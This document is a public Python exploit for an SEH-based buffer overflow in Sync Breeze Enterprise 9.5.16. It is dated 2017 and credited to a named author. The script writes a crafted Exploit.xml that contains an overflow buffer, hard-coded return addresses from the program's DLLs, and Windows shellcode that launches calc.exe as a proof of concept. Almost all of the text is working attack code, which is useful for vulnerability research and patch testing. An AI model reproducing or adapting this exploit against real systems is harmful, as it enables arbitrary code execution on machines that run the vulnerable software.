Sync Breeze Enterprise 9.5.16 Buffer Overflow

`#!/usr/bin/env python  
  
# Exploit Title: Sync Breeze Enterprise 9.5.16 - 'Import Command' Buffer Overflow (SEH)  
# Date: 2017-03-29  
# Exploit Author: Daniel Teixeira  
# Author Homepage: www.danielteixeira.com  
# Vendor Homepage: http://www.syncbreeze.com  
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.5.16.exe  
# Version: 9.5.16  
# Tested on: Windows 7 SP1 x86  
  
import os,struct  
  
#Buffer overflow  
junk = "A" * 1536  
  
#JMP ESP (QtGui4.dll)  
jmpesp= struct.pack('<L',0x651bb77a)  
  
#NOPS  
nops = "\x90"  
  
#LEA EAX, [ESP+76]  
esp = "\x8D\x44\x24\x4C"  
#JMP ESP  
jmp = "\xFF\xE0"  
  
#JMP Short = EB 05  
nSEH = "\x90\x90\xEB\x05" #Jump short 5  
#POP POP RET (libspp.dll)  
SEH = struct.pack('<L',0x10015FFE)  
  
#CALC.EXE  
shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"  
  
#PAYLOAD  
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000  
  
#FILE  
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'  
  
f = open('Exploit.xml', 'w')  
f.write(file)  
f.close()  
  
`